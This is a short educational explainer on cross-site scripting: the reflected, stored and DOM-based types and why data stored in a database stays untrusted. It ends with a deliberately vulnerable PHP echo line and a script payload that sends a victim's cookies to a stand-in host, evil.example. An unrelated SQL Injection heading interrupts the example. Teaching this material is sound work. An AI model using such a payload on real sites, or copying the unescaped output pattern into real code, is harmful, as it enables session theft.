What Is Cross-Site Scripting (XSS)?

XSS (Cross-Site Scripting) is a vulnerability where an attacker makes a website run attacker-controlled JavaScript in victim user's browser.

Please see below steps for better understanding:

1. A website accepts input from a user.
2. The website puts that input into a webpage without properly escaping or sanitizing it.
3. The attacker puts JavaScript instead of normal text.
4. The website sends that JavaScript to another user.
5. The victim's browser executes it as if it came from the trusted website.

Example:

Suppose a website displays: Welcome, <username>
Normally someone enters John

What is SQL Injection ?

But an attacker enters malicious HTML/JavaScript
If the application doesn't properly handle it, the browser may interpret the input as code instead of text.

Trusted content is code or markup that the developer created and controls.

Untrusted content is data that comes from outside the application's control, such as:

URL parameters, Form fields, Cookies, HTTP headers, Data received from third-party APIs

Storing data in your own database does not automatically make it trusted.

For example, a user enters a comment:

Nice website!

The application stores it in the database. Later, another user views that comment.

Even though the comment came from your database, it is still untrusted data because it originally came from a user.

If the application renders that data without proper output encoding, it could contain malicious HTML or JavaScript and lead to Stored XSS.

There are three main ways untrusted data can reach a user's browser and cause XSS:

Reflected XSS

The attacker sends malicious input to the server.
The server immediately puts that input back into the response.
Nothing is stored.
Example: a search page displays the value from ?q= directly on the results page.

Stored XSS

The attacker submits malicious input.
The application stores it in a database or file.
Later, the application displays it to users.
This can affect many users, not just the attacker.

DOM-based XSS

The server doesn't necessarily need to process the malicious input.
JavaScript running in the browser reads data, such as from the URL fragment or document.referrer.
That JavaScript then puts the data into the page's DOM in an unsafe way.
The malicious content executes in the browser.

All three have the same fundamental problem:

Untrusted data reaches an HTML/JavaScript context where the browser interprets it as code instead of treating it as ordinary data.

Imagine a PHP page that displays a visitor's name:

php:
echo "Welcome, " . $_GET['name'];

If the user visits:

?name=Bob

the page displays: Welcome, Bob

But if someone visits,

?name=<script>document.location='https://evil.example/steal?c='+document.cookie</script>

the server does exactly the same thing it always does: concatenates the value and sends it back. The difference is what the browser receives — a response that now contains a literal <script> tag.

The browser has no way to know that tag wasn't supposed to be there. It parses it as real markup, executes the script, and the attacker's code runs with full access to that page including the victim's cookies because as far as the browser is concerned, it's just part of the page.